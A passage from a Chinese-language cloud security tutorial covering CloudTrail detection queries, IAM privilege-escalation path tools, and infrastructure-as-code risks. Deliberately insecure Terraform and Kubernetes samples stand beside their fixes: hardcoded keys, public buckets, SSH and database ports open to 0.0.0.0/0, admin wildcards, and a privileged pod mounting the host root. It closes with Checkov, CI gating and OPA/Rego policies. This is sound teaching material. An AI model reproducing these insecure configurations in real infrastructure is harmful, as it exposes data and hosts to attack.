OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%PowerUser%'
)
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
-- 规则 3:★ 创建了 IAM 用户 / AK(持久化信号)
SELECT
eventtime,
useridentity.arn AS who,
eventname,
json_extract_scalar(requestparameters, '$.userName') AS new_user,
sourceipaddress
FROM cloudtrail_logs
WHERE eventname IN ('CreateUser', 'CreateAccessKey', 'CreateLoginProfile', 'UpdateLoginProfile')
AND useridentity.type <> 'Root'
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
-- 规则 4:★ 修改 Lambda 函数代码(C1 提权手法)
SELECT
eventtime,
useridentity.arn AS who,
json_extract_scalar(requestparameters, '$.functionName') AS func,
sourceipaddress,
useragent
FROM cloudtrail_logs
WHERE eventname IN ('UpdateFunctionCode', 'UpdateFunctionConfiguration')
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
★ 开源工具:自动发现提权路径
# ============================================================
# 工具 1:PMapper(Principal Mapper)★★ 最推荐
# ============================================================
# 白话:把整个账号的权限关系画成一张图,
# 然后自动算出"从 A 能不能走到 Administrator"
pip install principalmapper
# 建图(会调大量 IAM API,需要只读权限)
pmapper --account 123456789012 graph create
# ★ 查询:谁可以提权到管理员?
pmapper --account 123456789012 query "who can do iam:* with *"
# ★ 更直接:找出所有能拿到 admin 的路径
pmapper --account 123456789012 analysis --output-type text
# 输出示例:
# user/alice can access user/bob via privesc
# path: user/alice → role/DevRole → (iam:PutUserPolicy) → admin
# ★ 这就告诉你:alice 虽然现在权限小,但她能提权到管理员
# ============================================================
# 工具 2:Cloudsplaining(★ 生成漂亮的 HTML 报告给老板看)
# ============================================================
pip install cloudsplaining
# 下载账号的授权信息
aws iam get-account-authorization-details > authz.json
# 扫描
cloudsplaining scan --input-file authz.json --output results/
# 打开 results/index.html
# ★ 报告里会标红所有 "*" 权限、数据泄露风险、可被提权的主体
# ============================================================
# 工具 3:Prowler(★ 综合合规扫描,几百条检查项)
# ============================================================
pip install prowler-cloud
prowler aws --checks iam_* --severity critical high
prowler aws --compliance cis_2.0_aws # CIS 基线合规检查
10.2.8 多云 / 混合云:身份打通的风险
场景:公司同时用了 AWS 和阿里云,想把身份打通(一套登录走两边)
做法:在阿里云建一个【OIDC 身份提供商】,信任 AWS 的角色
(或者反过来)
★ 风险点:
① 【信任链变长,一处错全线崩】
AWS 角色的信任策略写宽了 → 阿里云这边也被打通
② ★【审计分散】
AWS 的 CloudTrail 和阿里云的操作审计是两套系统
→ 出事后要拉两份日志对齐时间戳(时区、格式都不一样)
→ ★ 建议:统一采集到 SIEM,统一时间字段
③ 【凭据格式不统一,容易搞混】
AWS 的临时凭据是三元组(AK/SK/Token)
阿里云的也是三元组,但字段名不同
GCP 用的是 OAuth2 Bearer Token
→ 代码里容易写错,导致"看起来能跑但其实在用长期密钥"
★ 建议:
- 尽量【减少跨云信任】,只在必要时打通
- 每朵云内部独立做最小权限
- 用统一的 CI/CD 入口(而不是互相 AssumeRole)
- ★ 审计日志必须集中,否则出事时你根本拼不出完整故事
10.3 基础设施即代码(IaC)安全
★ 一句话:IaC 是安全团队梦寐以求的落点—— 因为它是唯一一个能在“资源被创建出来之前”就拦住错误的环节。
10.3.1 IaC 是什么,为什么它对安全如此重要
★ 名词:IaC(Infrastructure as Code,基础设施即代码) 白话:用写代码的方式描述“我要什么样的服务器、网络、数据库”, 然后工具自动帮你把它们建出来。
★ 名词:Terraform 白话:最流行的 IaC 工具(HashiCorp 出品),用一种叫 HCL 的语言写配置, 能同时管理 AWS、阿里云、K8s、甚至 GitHub 仓库。
★ 名词:Ansible / Pulumi / CloudFormation / 阿里云 ROS / 腾讯云 TIC 白话:同类的其他工具。
- Ansible:偏“配置管理”(装软件、改配置)
- Pulumi:用真正的编程语言(Python/Go/TS)写 IaC
- CloudFormation:AWS 原生的
★ 传统方式 vs IaC
传统(手工点控制台 / 跑脚本):
┌────────────────────────────────────────────┐
│ 运维登录控制台 → 点 20 次鼠标 → 建好一台机器 │
│ │
│ ★ 问题: │
│ ① 下次还得再点一遍(不可复制) │
│ ② 两个月后没人记得当时点了什么 │
│ ③ 生产环境和测试环境的配置悄悄走偏 │
│ ④ ★ 改错了没法回滚,也没法 review │
└────────────────────────────────────────────┘
IaC:
┌────────────────────────────────────────────┐
│ 写一个 .tf 文件 → git commit → terraform apply │
│ │
│ ★ 好处(对安全的意义): │
│ ① 配置【变成了代码】→ 可以做 Code Review │
│ ② ★ 可以在 CI 里自动扫描(★ 这就是本节重点)│
│ ③ 有 git 历史 → 谁在什么时候改了什么一清二楚│
│ ④ 可重复 → 测试环境和生产环境一模一样 │
└────────────────────────────────────────────┘
★★★ 为什么 IaC 是安全的"最佳落点":
安全防线的三个时机:
① 写代码时(左移) → 成本最低,改一行就行
② 部署时 → 成本中等,要重新走流程
③ 运行时(已经出事了) → 成本最高,要应急响应
IaC 让"基础设施配置错误"这个【云上第一大安全问题】
从"只能在 ③ 运行时发现"提前到了"① 写代码时"
★ 生活类比:
以前是"房子盖好了才发现没消防通道"(要拆)
现在是"看图纸的时候就发现没消防通道"(改图纸,不要钱)
10.3.2 IaC 的八大风险模式(真实代码 + 修复)
风险 1:硬编码密钥(★ 最最常见)
# ❌❌❌ 灾难级错误
resource "aws_db_instance" "main" {
identifier = "prod-mysql"
username = "admin"
password = "P@ssw0rd123!" # ★★★ 明文密码进了 git
# 更常见的变体:
# password = var.db_password # 然后 terraform.tfvars 里写了明文
# # ★ 而 tfvars 经常被误提交
}
provider "alicloud" {
access_key = "LTAI5tQzd4mK8vXn2pLb7YcR" # ★ 长期 AK 直接写死
secret_key = "8Kj2mN5pQr7sT9vW1xY3zA5bC7dE9fG"
}
★ 为什么这么严重(比普通代码里的硬编码密钥更严重):
① ★ tfstate 文件里【全是明文】
即使你用变量(var.db_password),Terraform 执行完后,
★ 所有敏感值都会以明文形式存在 terraform.tfstate 里
→ tfstate 通常存在 S3/OSS 上
→ ★ 如果这个桶权限配错了,所有密钥全泄露
② 密钥会进入 CI 日志
terraform plan 的输出里可能显示敏感值
→ 而很多公司的 CI 日志是全员可读的
③ git 历史永久留存
★ 删掉重写提交也没用,历史里还在
# ✅ 正确做法一:引用密钥管理服务(★ 推荐)
data "aws_secretsmanager_secret_version" "db" {
secret_id = "prod/mysql/admin-password"
}
resource "aws_db_instance" "main" {
identifier = "prod-mysql"
username = "admin"
password = jsondecode(data.aws_secretsmanager_secret_version.db.secret_string)["password"]
# ★ 关键:标记为 sensitive,避免出现在 plan 输出里
lifecycle {
ignore_changes = [password] # 防止每次 plan 都显示变更
}
}
# ✅ 正确做法二:变量 + 标记为敏感 + 从环境变量/CI 注入
variable "db_password" {
type = string
sensitive = true # ★ 加这个,plan 输出会显示 (sensitive value)
# ★ 注意:这只是"不显示",tfstate 里依然是明文!
}
# 运行:
# export TF_VAR_db_password="$(aws secretsmanager get-secret-value --secret-id ... )"
# terraform apply
# ✅ 正确做法三(★ 治本):根本不用密码,用 IAM 认证
resource "aws_db_instance" "main" {
identifier = "prod-mysql"
username = "admin"
# ★ 不设 password,改用 IAM 数据库认证
iam_database_authentication_enabled = true
# → 应用用 IAM 角色换临时 token 连数据库,不需要密码
}
# ★ 必须做:加密 + 保护 tfstate
# ============================================================
# ① 用远程 state 且开启加密 + 版本控制 + 禁止删除
terraform {
backend "s3" {
bucket = "mycompany-tfstate"
key = "prod/terraform.tfstate"
region = "cn-north-1"
encrypt = true # ★ 必须
kms_key_id = "arn:aws:kms:...:key/xxx"
dynamodb_table = "tf-lock" # ★ 加锁,防并发
# ★ 阿里云的话用 OSS + OTS
}
}
# ② 桶策略:禁止非加密上传 + 禁止删除 + 强制 SSL
resource "aws_s3_bucket_server_side_encryption_configuration" "tfstate" {
bucket = aws_s3_bucket.tfstate.id
rule {
apply_server_side_encryption_by_default {
sse_algorithm = "aws:kms"
kms_master_key_id = aws_kms_key.tfstate.arn
}
}
}
resource "aws_s3_bucket_versioning" "tfstate" {
bucket = aws_s3_bucket.tfstate.id
versioning_configuration { status = "Enabled" } # ★ 防误删
}
resource "aws_s3_bucket_public_access_block" "tfstate" {
bucket = aws_s3_bucket.tfstate.id
block_public_acls = true # ★ 四条全开
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
# ③ ★ 在 pre-commit 里拦住 tfvars
cat > .pre-commit-config.yaml <<'EOF'
repos:
- repo: https://github.com/antonbabenko/pre-commit-terraform
rev: v1.83.5
hooks:
- id: terraform_fmt
- id: terraform_validate
- id: terraform_tfsec
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.0
hooks:
- id: gitleaks
EOF
风险 2:存储桶/对象存储公开
# ❌ 危险:公开读(数据泄露)
resource "aws_s3_bucket_acl" "data" {
bucket = aws_s3_bucket.data.id
acl = "public-read" # ★★★ 任何人都能下载
}
# ❌❌ 更危险:公开读写
resource "aws_s3_bucket_acl" "data" {
bucket = aws_s3_bucket.data.id
acl = "public-read-write" # ★★★ 任何人都能上传!会被挂马、存盗版
}
# ❌ 危险:桶策略允许任何人
resource "aws_s3_bucket_policy" "bad" {
bucket = aws_s3_bucket.data.id
policy = jsonencode({
Statement = [{
Effect = "Allow"
Principal = "*" # ★★★ 全世界
Action = "s3:*"
Resource = "*"
}]
})
}
★ 真实事故类型:
- 备份桶公开 → 数据库备份被拖走(★ 最常见的云数据泄露原因)
- 静态网站桶配了 ListBucket → 目录被遍历
- 用户上传桶允许 public-read-write → 被当成免费网盘、挂马、存违规内容
★ 为什么容易配错:
S3 的访问控制有【四套独立机制】,很多人搞不清:
① ACL(老的,已不推荐)
② Bucket Policy(资源策略)
③ IAM Policy(身份策略)
④ Block Public Access(★ 总开关,优先级最高)
★ 结论:直接把 Block Public Access 四条全开,一了百了
# ✅ 正确做法:默认全私有,需要公开的部分用 CloudFront/OSS 静态网站托管
resource "aws_s3_bucket_public_access_block" "data" {
bucket = aws_s3_bucket.data.id
block_public_acls = true
block_public_policy = true # ★ 就算桶策略写了 Principal:* 也不生效
ignore_public_acls = true
restrict_public_buckets = true
}
# 需要公开访问的场景:用 CDN + OAC(Origin Access Control)
# ★ 用户只能访问 CDN,不能直接访问源站桶
resource "aws_cloudfront_origin_access_control" "main" {
name = "oac-${var.env}"
origin_access_control_origin_type = "s3"
signing_behavior = "always"
signing_protocol = "sigv4"
}
风险 3:安全组 / 防火墙 0.0.0.0/0
# ❌ 危险:SSH 对全世界开放
resource "aws_security_group_rule" "ssh" {
type = "ingress"
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # ★★★ 全世界都能连
security_group_id = aws_security_group.web.id
}
# ❌ 更危险:数据库端口对全世界开放
resource "aws_security_group_rule" "mysql" {
type = "ingress"
from_port = 3306
to_port = 3306
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # ★★★ 数据库直接暴露
}
# ❌ 最危险:所有端口对所有 IP
resource "aws_security_group_rule" "all" {
type = "ingress"
from_port = 0
to_port = 65535
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
★ 风险量化(真实数据):
一台开了 22 端口 0.0.0.0/0 的云主机,
★ 平均 5 分钟内就会收到第一次 SSH 暴力破解
★ 24 小时内会被扫描到几十种漏洞探测(这些都是自动化的僵尸网络)
一台开了 3306 / 6379 / 27017 的机器:
★ Redis 未授权访问 → 几分钟内被写入挖矿脚本
★ MongoDB 未授权 → 被勒索(删库 + 留 "send BTC to..." 的库)
★ 常见的"自以为安全"的错误:
"我改了 SSH 端口到 2222,所以安全了"
→ ★ 完全没用。扫描器是全端口扫的,改端口只能减少 99% 的【低级】扫描,
但针对你的扫描一样能找到。
→ 真正的解法:不要直接暴露,用堡垒机 / VPN / SSM Session Manager
# ✅ 正确做法一:限定来源 IP(办公网出口)
resource "aws_security_group_rule" "ssh_from_office" {
type = "ingress"
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["203.0.113.0/24"] # ★ 公司办公网出口 IP
description = "SSH from office only"
security_group_id = aws_security_group.web.id
}
# ✅ 正确做法二(★ 推荐):根本不开 SSH 端口,用 SSM
resource "aws_iam_role_policy_attachment" "ssm" {
role = aws_iam_role.ec2.name
policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
}
# 然后:aws ssm start-session --target i-xxxxx
# ★ 好处:不用管密钥、不用开端口、所有操作有审计日志
# ✅ 正确做法三:数据库只对应用层安全组开放(★ 用 SG 引用而非 IP)
resource "aws_security_group_rule" "mysql_from_app" {
type = "ingress"
from_port = 3306
to_port = 3306
protocol = "tcp"
source_security_group_id = aws_security_group.app.id # ★ 只允许 app 层
security_group_id = aws_security_group.db.id
}
# ✅ 正确做法四:安全组规则必须写 description(★ 三个月后你会感谢自己)
风险 4:未加密(静态 / 传输)
# ❌ 危险:EBS 卷未加密
resource "aws_ebs_volume" "data" {
availability_zone = "cn-north-1a"
size = 100
# ★ 没有 encrypted = true
}
# ❌ 危险:RDS 未加密
resource "aws_db_instance" "main" {
# storage_encrypted 默认是 false!
storage_encrypted = false
}
# ❌ 危险:S3 无加密
resource "aws_s3_bucket" "data" {
bucket = "my-data" # ★ 没有 server_side_encryption_configuration
}
★★★ 一个很多人不知道的关键点:
★ 【创建后再开启加密,数据不会被自动加密】
对 RDS:开启加密会触发快照 + 重建,需要停机
对 EBS:必须打快照 → 复制快照并加密 → 用加密快照建新卷
★ 所以:必须在【创建时】就开启,事后补救代价极大
★ 另一个坑:就算开了加密,用的是【默认 KMS 密钥】
→ 那么账号里任何有 kms 权限的人都能解密
→ ★ 生产环境应该用【客户托管密钥(CMK)】,并限制谁能用
# ✅ 正确:创建时加密 + 用 CMK + 开启传输加密
resource "aws_kms_key" "data" {
description = "prod data encryption"
deletion_window_in_days = 30
enable_key_rotation = true # ★ 自动轮换
}
resource "aws_db_instance" "main" {
identifier = "prod-mysql"
storage_encrypted = true # ★ 静态加密
kms_key_id = aws_kms_key.data.arn
# ★ 强制 SSL 连接(传输加密)
parameter_group_name = aws_db_parameter_group.force_ssl.name
}
resource "aws_db_parameter_group" "force_ssl" {
name = "force-ssl"
family = "mysql8.0"
parameter {
name = "require_secure_transport"
value = "ON" # ★ MySQL 8.0 用这个
}
}
风险 5:日志未开启(★ 出事后无法溯源)
# ❌ 危险:这些"默认关闭"的日志
# - CloudTrail(云操作审计) ★ 默认只保留 90 天事件历史,且不含数据面事件
# - VPC Flow Logs(网络流量日志) ★ 默认关闭
# - S3 访问日志 ★ 默认关闭
# - RDS 审计日志 ★ 默认关闭
# - ELB 访问日志 ★ 默认关闭
# - WAF 日志 ★ 默认关闭
★★★ 为什么这是"最贵"的错误:
出事之后,所有人都会问同一个问题:
"他到底做了什么?数据有没有被拿走?"
如果你没有 CloudTrail:
★ 你无法回答这个问题
★ 你只能按"最坏情况"处理(全部重置、全部通知用户)
★ 合规审计直接不通过(等保 2.0 / ISO27001 都要求审计日志)
★ 生活类比:
没开日志 = 家里没装监控。
平时省了几百块,出事之后你连"是内鬼还是外贼"都判断不了。
# ✅ 完整的日志基线(生产环境必备)
# ① CloudTrail(★ 最重要)
resource "aws_cloudtrail" "main" {
name = "org-trail"
s3_bucket_name = aws_s3_bucket.audit.id
include_global_service_events = true # ★ IAM 等全球服务的事件
is_multi_region_trail = true # ★ 所有区域
enable_log_file_validation = true # ★ 日志文件完整性校验(防篡改)
cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.trail.arn}:*"
cloud_watch_logs_role_arn = aws_iam_role.trail.arn
kms_key_id = aws_kms_key.audit.arn
event_selector {
read_write_type = "All"
include_management_events = true
data_resource {
type = "AWS::S3::Object"
values = ["arn:aws:s3:::prod-data/"] # ★ 敏感桶的数据面事件(GetObject)
}
}
}
# ② VPC Flow Logs
resource "aws_flow_log" "vpc" {
iam_role_arn = aws_iam_role.flow_log.arn
log_destination = aws_cloudwatch_log_group.flow.arn
traffic_type = "ALL" # ★ ACCEPT + REJECT(REJECT 对排查很有用)
vpc_id = aws_vpc.main.id
}
# ③ ELB 访问日志
resource "aws_lb" "main" {
access_logs {
bucket = aws_s3_bucket.logs.id
prefix = "alb"
enabled = true # ★ 默认是 false
}
}
# ④ ★ 日志文件本身必须防删除(对象锁 / 合规模式)
resource "aws_s3_bucket" "audit" {
bucket = "mycompany-audit-logs"
object_lock_enabled = true # ★★ 创建时就要开
}
resource "aws_s3_bucket_object_lock_configuration" "audit" {
bucket = aws_s3_bucket.audit.id
rule {
default_retention {
mode = "COMPLIANCE" # ★★ COMPLIANCE 模式:谁都删不掉,包括 root
days = 365
}
}
}
# ★ 这一招能防住攻击者"清日志" —— 他连 root 权限都删不掉
风险 6:IAM 通配符与管理员策略
# ❌ 危险
resource "aws_iam_role_policy_attachment" "lambda" {
role = aws_iam_role.lambda.name
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess" # ★★★
}
resource "aws_iam_policy" "bad" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = ["*"] # ★★★
Resource = ["*"] # ★★★
}]
})
}
风险 7:K8s 资源里的危险配置
# ❌ 危险:特权容器 = 事实上的宿主机 root
apiVersion: v1
kind: Pod
metadata:
name: bad-pod
spec:
hostNetwork: true # ★ 用宿主机网络(能访问所有 Pod 和节点服务)
hostPID: true # ★ 能看到宿主机所有进程(能 kill 节点上的任何进程)
hostIPC: true
containers:
- name: c
image: nginx
securityContext:
privileged: true # ★★★ 特权模式:拥有宿主机所有 capabilities
allowPrivilegeEscalation: true
runAsUser: 0 # ★ 以 root 运行
capabilities:
add: ["ALL"] # ★★★
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: / # ★★★ 挂载宿主机根目录 → 可以改 /etc/shadow
★ 名词:privileged(特权容器) 白话:容器本来是“笼子里的进程”,开了特权就等于把笼子拆了。 ★ 特权容器能看到宿主机的所有设备,能加载内核模块, 从特权容器逃到宿主机,只需要 3 条命令(见 10.4.7)。
风险 8:容器镜像使用 latest 标签
# ❌ 危险
image: nginx:latest # ★ 每次拉取可能不一样,无法追溯、无法回滚
image: myapp # ★ 不写 tag 就等于 latest
# ✅ 正确:用 digest(最严格)或明确的语义化版本 + 签名
image: nginx@sha256:4c1f8e7d... # ★★ 内容寻址,永远一致
image: myregistry.com/myapp:v1.2.3
★ 为什么 latest 危险:
① 【不可复现】今天部署的和明天部署的可能不是一个东西
② 【无法回滚】出事后你想回滚到"上一个版本",但上一个版本是什么?
③ ★【供应链攻击】如果你的基础镜像被投毒,latest 会立刻拉到恶意版本
→ 而用固定 tag + 签名,至少你能控制升级时机
10.3.3 Checkov 实战(★ 最推荐入门的工具)
★ 名词:Checkov(PrismaCloud 出品,开源) 白话:IaC 的“拼写检查器”。 你写 Terraform / K8s YAML / Dockerfile / CloudFormation, 它自动检查里面有没有安全配置错误,目前有 1000+ 条内置规则。
# 安装
pip install checkov
# ============================================================
# 基本用法
# ============================================================
# 扫当前目录(自动识别 terraform / k8s / dockerfile / helm)
checkov -d .
# 输出示例(★ 读懂这个输出很重要):
# terraform scan results:
# Passed checks: 47, Failed checks: 8, Skipped checks: 0
#
# Check: CKV_AWS_20: "S3 Bucket has an ACL defined which allows public READ access."
# FAILED for resource: aws_s3_bucket.data
# File: /main.tf:12-18
# Guide: https://docs.prismacloud.io/en/...
#
# 12 | resource "aws_s3_bucket_acl" "data" {
# 13 | bucket = aws_s3_bucket.data.id
# 14 | acl = "public-read" ← ★ 就是这一行
# 15 | }
# ============================================================
# 常用参数
# ============================================================
# 只看高危(★ CI 里推荐)
checkov -d . --severity HIGH --severity CRITICAL
# 输出成 JUnit XML(集成到 CI 的测试报告)
checkov -d . -o junitxml > results.xml
# 输出 SARIF(GitHub Code Scanning 能直接显示)
checkov -d . -o sarif > results.sarif
# ★ 只检查指定框架
checkov -d . --framework terraform
# ★ 跳过某些检查(必须写理由!)
checkov -d . --skip-check CKV_AWS_20,CKV_AWS_21
# ★ 生成基线(只报告"新增"的问题,存量问题先记账)
# 这是让老项目能落地的关键技巧(见下)
checkov -d . --create-baseline
checkov -d . --baseline .checkov.baseline # 后续只报新问题
★ 让 Checkov 在老项目里落地的正确姿势
问题:一个跑了 3 年的老项目,第一次跑 checkov 报了 400 个问题
→ 开发说"太多了,改不动"
→ 于是这个工具被搁置,再也没人用
★ 这是安全工具落地失败的最常见原因
✅ 正确做法(三步走):
第一步:【建立基线,止血】
checkov -d . --create-baseline
# 把 400 个存量问题"记账",CI 里挂 --baseline
# → CI 只会在【新增问题】时失败
# → ★ 保证"不再变坏",这是最重要的
第二步:【分期清理存量】
按严重度排序,先清 CRITICAL(一般就 5~10 个),
每个迭代清 20 个,写进 sprint 计划
★ 不要一次性清完,会拖垮业务迭代
第三步:【把高危规则设为硬性门禁】
只对 CRITICAL + HIGH 设为 --hard-fail-on
MEDIUM/LOW 只警告不阻塞
★ 这样开发不会觉得"安全在添乱"
# ============================================================
# GitHub Actions 集成(完整可用)
# ============================================================
name: IaC Security Scan
on:
pull_request:
paths:
- 'terraform/**'
- 'k8s/**'
- 'Dockerfile'
jobs:
checkov:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # ★ Checkov 做增量扫描需要完整历史
- name: Run Checkov
id: checkov
uses: bridgecrewio/checkov-action@master
with:
directory: terraform/
framework: terraform
quiet: true
# ★ 只对高危失败,中低危只警告
soft_fail_on: MEDIUM,LOW
hard_fail_on: HIGH,CRITICAL
output_format: sarif
output_file_path: results.sarif
- name: ★ 把结果上传到 GitHub Security 面板
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
- name: ★ 在 PR 里评论(让开发不用去翻日志)
if: failure()
uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: '✗ IaC 安全检查未通过,请在 Actions 面板查看 Security 标签页的具体问题。'
})
★ 写自定义规则(公司规范落地的关键)
# ============================================================
# checkov 自定义规则:要求所有资源必须带 env 和 owner 标签
# 文件:custom_checks/require_tags.py
# ============================================================
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
class RequireMandatoryTags(BaseResourceCheck):
def __init__(self):
name = "所有资源必须带 env / owner / cost-center 标签"
id = "CKV_CUSTOM_1"
supported_resources = ["*"] # ★ 支持所有资源类型
categories = [CheckCategories.GENERAL_SECURITY]
super().__init__(
name=name, id=id, categories=categories,
supported_resources=supported_resources
)
def scan_resource_conf(self, conf, entity_type):
"""
conf = 这个资源的配置字典
返回 PASSED / FAILED / UNKNOWN
"""
# ★ Terraform 里标签可能写成 tags 或 tags_all
tags = conf.get("tags") or conf.get("tags_all")
if tags is None:
return CheckResult.FAILED
# ★ tags 在 HCL 解析后可能是 [{"env": ["prod"]}] 这种嵌套结构
if isinstance(tags, list) and tags:
tags = tags[0]
if not isinstance(tags, dict):
return CheckResult.UNKNOWN
required = ["env", "owner", "cost-center"]
missing = [t for t in required if t not in tags]
if missing:
# ★ 把这个信息存起来,报告里会显示
self.evaluated_keys = [f"tags/{m}" for m in missing]
return CheckResult.FAILED
return CheckResult.PASSED
check = RequireMandatoryTags()
# 使用自定义规则
checkov -d . --external-checks-dir custom_checks/
# ★ 调试技巧:用 --compact 或者写成 YAML 规则(更简单,推荐新手)
# ============================================================
# ★ 更简单的方式:YAML 自定义规则(推荐,不用写 Python)
# 文件:custom_checks/deny_admin_policy.yaml
# ============================================================
metadata:
name: "禁止使用 AdministratorAccess 托管策略"
id: "CKV_CUSTOM_2"
category: "IAM"
severity: "CRITICAL"
definition:
cond_type: "attribute"
resource_types:
- "aws_iam_role_policy_attachment"
- "aws_iam_user_policy_attachment"
- "aws_iam_group_policy_attachment"
attribute: "policy_arn"
operator: "not_contains"
value: "AdministratorAccess"
---
metadata:
name: "安全组不允许 0.0.0.0/0 开放 22 端口"
id: "CKV_CUSTOM_3"
category: "NETWORKING"
severity: "CRITICAL"
definition:
and:
- cond_type: "attribute"
resource_types: ["aws_security_group_rule"]
attribute: "cidr_blocks"
operator: "contains"
value: "0.0.0.0/0"
- cond_type: "attribute"
resource_types: ["aws_security_group_rule"]
attribute: "from_port"
operator: "equals"
value: "22"
# ★ 这写的是"命中即失败",所以要反过来理解:
# 当 cidr=0.0.0.0/0 且 from_port=22 时,这个 cond 成立 → 报失败
10.3.4 四大 IaC 扫描工具对比
┌─────────────┬────────────┬──────────────────────┬──────────────────────┐
│ 工具 │ 出品方 │ 特点 │ 适合场景 │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ ★ Checkov │ PrismaCloud│ 规则最多(1000+) │ ★ 首选,覆盖最全 │
│ │ (Palo Alto)│ 支持 YAML 自定义规则 │ 支持 terraform/k8s/ │
│ │ │ 支持基线(★ 关键优势) │ dockerfile/CF/helm │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ tfsec │ Aqua │ 速度快(Go 写的) │ 纯 Terraform 项目 │
│ │ Security │ 输出美观 │ 想要快速的扫描 │
│ │ │ ★ 已被合并进 Trivy │ │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ KICS │ Check Point│ 支持语言最多(15+) │ 混合技术栈 │
│ │ │ 平台+语言覆盖广 │ 有 Ansible/Pulumi │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ Terrascan │ Tenable │ 支持 Rego 写规则 │ 已经在用 OPA 的团队 │
│ │ │ 可当准入控制器 │ │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ ★ Trivy │ Aqua │ ★ 全能:IaC + 镜像 │ ★ 想要一个工具搞定 │
│ (config) │ │ + 依赖 + 密钥 + SBOM │ 全部场景 │
└─────────────┴────────────┴──────────────────────┴──────────────────────┘
★ 我的建议(如果只能选一个):
新项目 → Trivy(一个二进制搞定所有扫描,学习成本最低)
纯 Terraform → tfsec(快)或 Checkov(全)
多技术栈 → Checkov 或 KICS
要自定义公司规范 → Checkov(YAML 规则最简单)
★ 组合使用的建议:
CI 里: tfsec(快,秒级反馈)
PR 合并前: Checkov(全,带基线)
定期全量: Trivy config + Prowler(运行时配置核查)
# ============================================================
# Trivy 的 IaC 扫描(★ 推荐:一个工具全部搞定)
# ============================================================
# 扫 IaC 配置
trivy config ./terraform/
trivy config ./k8s/ --severity HIGH,CRITICAL --exit-code 1
# 扫容器镜像
trivy image nginx:1.25 --severity HIGH,CRITICAL
# 扫依赖
trivy fs --scanners vuln,secret,misconfig .
# ↑ ↑ ↑
# 漏洞 密钥 配置错误
# 生成 SBOM
trivy image --format cyclonedx --output sbom.json nginx:1.25
10.3.5 OPA / Rego:策略即代码(比扫描更进一层)
★ 名词:OPA(Open Policy Agent,开放策略代理) 白话:一个通用的“规则引擎”。 你把策略写成代码(Rego 语言),然后任何系统都可以去问它:“这个操作允许吗?”
★ 名词:Rego 白话:OPA 的策略语言。 ★ 它不是命令式的(不说“怎么做”),是声明式的(说“什么是对的”)。
★ Checkov / tfsec vs OPA 的区别(很多人搞混)
Checkov / tfsec:
【预置规则 + 简单自定义】
→ 适合"检查有没有犯这 1000 种已知错误"
→ ★ 优点:开箱即用
→ ★ 缺点:复杂的、跨资源的、带业务逻辑的规则写不了
OPA / Gatekeeper / Kyverno:
【通用策略引擎 + 完全自定义】
→ 适合"我们公司的规定:生产环境的 Pod 必须由 A 团队的镜像仓库,
且必须有 app.kubernetes.io/owner 注解,且副本数 >= 2"
→ ★ 优点:任意复杂逻辑,且【运行时强制】(不只是扫描)
→ ★ 缺点:要学 Rego,有学习成本
★★ 关键区别:
Checkov 是【扫描器】—— 发现问题,但拦不住
OPA 是【准入控制器】—— ★ 直接在资源创建时拒绝
Rego 快速入门(小白版)
# ============================================================
# 文件:policy/deny_latest.rego
# ============================================================
package kubernetes.admission # ★ 每个文件必须声明 package
# ------------------------------------------------------------
# Rego 的三个核心概念(用 SQL 类比最好懂)
# ------------------------------------------------------------
# rule 名字 → SELECT 的结果列名
# rule 体里的条件 → WHERE 条件
# ★ 所有条件默认都是 AND(同一 rule 里的多行)
# ★ 多个同名 rule 之间是 OR(★ 这个最反直觉,见下)
# ------------------------------------------------------------
# ★ 规则 1:禁止使用 latest 标签
deny[msg] { # ← deny 是个"集合",命中就往里加一条 msg
input.kind == "Pod" # 条件 1:是 Pod
container := input.spec.containers[_] # ← [_] 表示"遍历所有容器"(类似 for each)
endswith(container.image, ":latest") # 条件 2:镜像以 :latest 结尾
msg := sprintf("容器 %v 使用了 latest 标签,请指定明确版本", [container.name])
}
# ★ 规则 2:没写 tag 也算(等价于 latest)
deny[msg] {
input.kind == "Pod"
container := input.spec.containers[_]
not contains(container.image, ":") # ← not 表示"不满足"
msg := sprintf("容器 %v 未指定镜像 tag(等价于 latest)", [container.name])
}
# ★ 规则 3:禁止特权容器
deny[msg] {
input.kind == "Pod"
container := input.spec.containers[_]
container.securityContext.privileged == true
msg := sprintf("容器 %v 使用了 privileged 特权模式", [container.name])
}
# ★ 规则 4:必须设置资源限制(★ 这个规则体现了 Rego 的"OR"特性)
deny[msg] {
input.kind == "Pod"
container := input.spec.containers[_]
not container.resources.limits.cpu # ← 注意:字段不存在时不会报错,
msg := sprintf("容器 %v 未设置 CPU limit", [container.name]) # 而是"不满足 not"的反面
}
# ★ 规则 5:★ 复杂一点:必须同时有 cpu 和 memory limit,且 cpu <= 2 核
deny[msg] {
input.kind == "Pod"
container := input.spec.containers[_]
cpu := container.resources.limits.cpu
# ★ Rego 里字符串需要解析单位("500m" / "2")
not is_valid_cpu(cpu)
msg := sprintf("容器 %v 的 CPU limit 非法或不合规: %v", [container.name, cpu])
}
# ★ 辅助函数(用 parse_units 处理 "500m" 这种)
